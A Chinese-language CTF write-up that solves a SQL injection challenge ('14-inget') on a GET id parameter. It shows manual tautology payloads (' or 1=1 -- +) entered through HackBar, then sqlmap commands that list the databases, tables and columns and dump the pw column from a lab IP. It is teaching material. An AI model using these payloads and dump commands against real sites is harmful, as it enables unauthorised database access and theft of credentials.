14-inget
方法1:使用hackbar进行sql手工注入
右键检查,进入到hackbar界面,点击load将链接添加进来,而后使用万能用户名进行注入
尝试一下万能密码,使用逻辑语句使结果返回,构造payload
比如理解 /?id=' or ''='
传入到后台就是'id=1' or "=" 前两个单引号形成一个闭合,后面的双引号可以理解为单引号引着单引号,就可以理解为单引号等于单引号
界面就可以看到flag,注意,添加的万能用户名之前要有?id=
方法2:借助sqlmap
1.安装sqlmap
先下载sqlmap,网址:sqlmap: automatic SQL injection and database takeover tool 注意这个网址科学上网打开更快
windows下使用sqlmap
该工具的使用需要有python环境,所以需要将下载好的sqlmap包放到python的文件夹下
在电脑桌面上右键,新建-新建快捷方式
输入cmd
改名为sqlmap,而后右键属性,进入更改起始位置为放sqlmap的位置
双击进入该快捷方式,输入:python sqlmap.py -h 查看是否安装成功,有如下显示就是已经安装成功
一步一步的查询
1.先用sqlmap大概检查一下:
python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1"
2.尝试列出所有的库
python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" --dbs
可以看到有一个名为cyber的数据库,我们指定列出该数据库中的表
python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber --tables
可以看到这个数据库里只有一个表,且和数据库同名,我们继续列出指定表的字段
python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber -T cyber --columns
一般情况下内容都是在pw中,尝试获取指定字段pw中的数据,-C 选择使用哪个列
python sqlmap.py -u "http://61.147.171.105:49744/index.php?id=1" -D cyber -T cyber -C pw --dump
常用术语
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据
kali下使用sqlmap
首先你需要安装vm用于安装kali,而后需要安装kali镜像,具体的安装办法,可以查看我的其他文章
kali里面已经安装好了python环境,我们将sqlmap的文件夹粘贴到桌面上,并进入到该文件夹下
而后执行命令:python3 sqlmap.py -u "http://61.147.171.105:49361/index.php?id=1" -T cyber --dump (注意这里是python3)
知识点:sql注入
先来看为什么手工注入可以显示出flag,尝试的万能密码
/?id='or "='
我们以get的方式在前给id进行传值,后端会对我们传入的数值进行查询,如何查询?
比如我们传入id=123,那么后端就会是'id=123',以单引号闭合的方式进行闭合.
当我们传入?/id=' or "=' 的时候,到后端就是'id=' or "="
对于我们传入的四个单引号的解释:
第一个单引号,与查询时前面的单引号形成闭合;
第二个单引号,与查询时后面的单引号形成闭合;
第三和第四个单引号实际上只是使等号成立的内容,即'='
我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的
/?id=' or '1=1
换成1的意思就是 1=1,显然是成立的
/?id=' or 1 = 1 -- +
第一个单引号同样是与查询时前面的单引号形成闭合,而 --+ 起注释作用,将后面的语句注释掉